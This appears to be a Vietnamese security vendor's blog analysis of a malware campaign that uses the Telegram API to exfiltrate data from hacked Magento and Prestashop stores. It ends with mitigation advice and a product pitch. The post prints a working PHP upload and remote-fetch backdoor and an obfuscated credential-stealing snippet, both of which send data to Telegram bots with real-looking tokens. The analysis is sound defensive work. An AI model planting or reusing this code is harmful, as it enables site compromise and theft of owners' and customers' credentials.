Gần đây, các kỹ sư bảo mật của chúng tôi đã phát hiện một chiến dịch mã độc Telegram đang diễn ra ngoài thực tế, nơi hacker đang tận dụng dịch vụ nhắn tin mã hóa phổ biến "Telegram" để nhận nhật ký lỗi (error logs) từ chiến dịch mã độc của họ cũng như thông tin nhạy cảm từ các trang web bị hack.
Nhật ký lỗi hoặc thông tin nhạy cảm được gửi đến hacker qua Telegram nhằm kiểm tra xem mã độc của họ đã được gieo cấy thành công trên trang web hay chưa, và trong trường hợp khác, nếu mã độc đã được gieo cấy thành công thì họ gửi thông tin nhạy cảm của nạn nhân đến một số Telegram/kênh cụ thể. Các cửa hàng Magento, Prestashop và WooCommerce vẫn là mục tiêu hàng đầu của chiến dịch hack này.
Số lượng lớn trang web bị nhắm mục tiêu
Là nhà cung cấp bảo mật, chúng tôi liên tục theo dõi các mối đe dọa mạng và chiến dịch mã độc mới nhất làm gián đoạn doanh nghiệp hàng ngày. Trong chiến dịch mã độc Telegram này, chúng tôi đã thấy số lượng lớn Magento, Prestashop, WooCommerce và CMS khác bị nhắm mục tiêu.
Thông thường, khi hacker xâm nhập trang web và thu thập thông tin thẻ tín dụng hoặc dữ liệu nhạy cảm khác – họ thực hiện cuộc gọi API đến server của họ hoặc gửi thông tin đến email của họ.
Nhưng trong trường hợp này, thay vì thực hiện cuộc gọi API hoặc gửi dữ liệu bị đánh cắp đến địa chỉ email cụ thể, kẻ đe dọa (threat actors) đang gửi nó qua API của Telegram đến một số/ID/kênh Telegram cụ thể. Điều này nhằm tránh truy vết IP server hoặc bị đưa vào danh sách đen (blacklisted) và nhận nhật ký lỗi hoặc dữ liệu bị hack qua phương tiện Telegram an toàn.
Hacker thu thập nhật ký lỗi mã độc từ trang Magento
Trong quá trình phân tích chiến dịch mã độc Telegram này, nhóm nghiên cứu do Ananda Krishna dẫn dắt đã phát hiện hacker đang chủ động gieo cấy các script shell vào các trang web dựa trên Magento để tải lên tệp không bị giới hạn hoặc đánh cắp thông tin nhạy cảm. Nếu có bất kỳ lỗi nào xảy ra trong quá trình gieo cấy mã độc, lỗi đó sẽ được gửi đến số/kênh Telegram của hacker để gỡ lỗi (debugging).
Bài viết liên quan – Sửa cửa hàng Magento bị hack
Sau điều tra thêm, các nhà nghiên cứu của chúng tôi phát hiện hacker đã tạo các cửa sau (backdoor) độc hại trong trang web cho phép họ tạo & thực thi mã file. Hacker có thể gửi bất kỳ URL tùy ý nào đến script cửa sau, script đó sẽ tải tệp từ URL và lưu nó trên server bị xâm nhập. Ở mỗi bước của quá trình này, hoặc trong trường hợp lỗi – script cửa sau này sẽ gửi cập nhật thời gian thực đến hacker qua tin nhắn Telegram.
Hacker gửi tên tệp độc hại trong biến $_POST['name'] và URL của tệp độc hại trong biến $_POST['content'].
Dưới đây là ví dụ về script độc hại (được cờ bởi trình quét mã độc của chúng tôi) chúng tôi tìm thấy trong trang web bị xâm nhập đã quét:
Hacker gửi yêu cầu với $_POST['name'] = evil.php và $_POST['content'] = example.com/moreMaliciousCode.txt . Script cửa sau sau đó tạo tệp tên evil.php trên server với nội dung tệp tìm thấy trong example.com/moreMaliciousCode.txt. Hacker sau đó truy cập compromised-site.com/evil.php để thực thi mã xấu.
Trên một số trang, chúng tôi thấy hacker đã dùng script cửa sau này để tạo script "File Manager" hoặc công cụ quản trị cơ sở dữ liệu như "Adminer". Các công cụ này cho phép họ xem/sửa/xóa tất cả tệp trên server của bạn và cũng có quyền truy cập đầy đủ vào cơ sở dữ liệu trang web chứa thông tin nhận dạng cá nhân nhạy cảm (PII) như mật khẩu, email, số thẻ tín dụng, v.v.
Đoạn mã độc hại:
<?php try{
if($_POST['action']=="wp_ajax_try_2020_v2"){
if(!empty ($_FILES['file']) and md5(md5(md5($_POST['token_admin'])))=="7ccda4acaa2341a049350d96fe88393b"){
if(function_exists("move_uploaded_file")){
@move_uploaded_file($_FILES['file']['tmp_name'],"../".$_FILES['file']['name']);
echo " file name : ".$_FILES['file']['name'];
}else{
die("no move_upload_file");
}
}else{
die(0);
}
exit();
}
if($_POST['action']=="wp_ajax_try_2020_v3"){
if(!empty ($_POST['content']) and md5(md5(md5($_POST['token_admin'])))=="7ccda4acaa2341a049350d96fe88393b"){
if(function_exists("file_get_contents")){
$html=file_get_contents($_POST['content']);
$save=fopen($_POST['name'],"w");
fwrite($save,$html);
fclose($save);
}else{
die("no file_get_contents");
}
}else{
die(0);
}
exit();
}
}catch (Exception $e) {
if(function_exists("file_get_contents")){
try{
file_get_contents("https://api.telegram.org/bot1234572065:AAGxojnCQEsIMuofDuQHaM-8wnM2VkYOMO4/sendMessage?chat_id=1110165405&text=" . urlencode($_SERVER['REMOTE_ADDR']." error wp")."" );
file_get_contents("https://api.telegram.org/bot1234572065:AAGxojnCQEsIMuofDuQHaM-8wnM2VkYOMO4/sendMessage?chat_id=1110165405&text=" . urlencode($e)."" );
}catch (Exception $e2) {}
}
} ?>
Hacker đánh cắp thông tin từ trang Prestashop
Tương tự như trang Magento, hacker cũng nhắm mục tiêu trang Prestashop và tận dụng API Telegram để gửi thông tin nhạy cảm của chủ trang đến số/kênh Telegram của họ.
Trong trường hợp này, các nhà nghiên cứu thấy hacker bỏ qua hàm được triển khai để lấy chi tiết khách hàng qua email trong classes/Customer.php và đặt mã độc của họ để gửi địa chỉ email và mật khẩu của chủ trang đến số/kênh Telegram.
Nhóm hacker được tin là tên B4JAT4X (như đề cập trong mẫu mã dưới):
if(isset($passwd)){ $passwordbaja=$passwd; }elseif(isset($plaintextPassword)){ $passwordbaja=$plaintextPassword; }
$djskfhsdfdjknjksnfjksfds = "------+| [ B" . "4" . "J" . "A" . "T" . "4" . "X ] |+-----\n";
$djskfhsdfdjknjksnfjksfds .= $email.":".$passwordbaja.":".$_SERVER['REMOTE_ADDR'].":".$_SERVER['SERVER_NAME']."\n";
file_get_contents("https://"."ap"."i".".tel"."egr"."am".".org"."/bot1"."211"."998273".":AAHft2yajX"."qGoX3y_"."K3lfPernQ"."DPbtspu3g"."/sendMessa"."ge?chat_id="."11101654"."05&text=" . urlencode($djskfhsdfdjknjksnfjksfds)."" );
Điều này có thể dẫn đến chủ trang Prestashop bị đánh cắp thông tin nhạy cảm của khách hàng nếu họ lưu thông tin thẻ tín dụng của người dùng trên trang Prestashop. Hacker có thể đơn giản đăng nhập vào trang của nạn nhân bằng mật khẩu của họ và xem tất cả thông tin.
Thách thức bảo mật web
Khi bối cảnh mối đe dọa mạng mở rộng thêm một bước về phía làm gián đoạn Internet, hacker đang chủ động tìm kiếm các kỹ thuật mới như thế này để khiến doanh nghiệp trực tuyến quỳ lụy. Nếu công ty của bạn bị ảnh hưởng do cuộc tấn công mạng như thế này, nó cũng có thể dẫn đến vi phạm PII và vi phạm GDPR.
Đầu tháng này, Malwarebytes cũng đã phát hiện một web skimmer đánh cắp dữ liệu thẻ từ trang web và gửi đến hacker qua Telegram messenger.
Để bảo vệ trang web của bạn chống lại chiến dịch mã độc Telegram này, khuyến nghị chặn tất cả kết nối đến Telegram ở cấp độ mạng hoặc sử dụng tường lửa ứng dụng web (WAF) sẽ đảm bảo trang web của bạn được bảo vệ tốt chống lại các cuộc tấn công như vậy và không cho phép hacker đánh cắp dữ liệu nhạy cảm của bạn.
Nếu bạn đang sử dụng tường lửa ứng dụng của Astra thì bạn đã được bảo vệ khỏi cuộc tấn công này và các cuộc tấn công mạng và lỗ hổng khác như SQLi, XSS, CSRF, LFI, RFI, hack thẻ tín dụng, spam, bot xấu, v.v.
Hơn nữa, trình quét mã độc dựa trên machine learning của Astra có thể tự động quét trang web định kỳ và gắn cờ tất cả các yếu tố và sự kiện ngoại lai trong trang web. Điều này bao gồm việc thêm tệp độc hại mới hoặc sửa đổi các tệp hiện có. Với tính năng "Xem khác biệt tệp" (View file difference) của trình quét mã độc Astra, bạn có thể xem lại tất cả thay đổi từ trong bảng điều khiển và thậm chí xóa tệp độc hại chỉ bằng một cú nhấp chuột.
Chuyên gia bảo mật lâu nay khuyến nghị quét mã độc định kỳ như biện pháp bảo mật then chốt cho an toàn trang web, đã đến lúc bạn trang bị cho trang web các biện pháp bảo mật cần thiết để bảo vệ nó mọi lúc.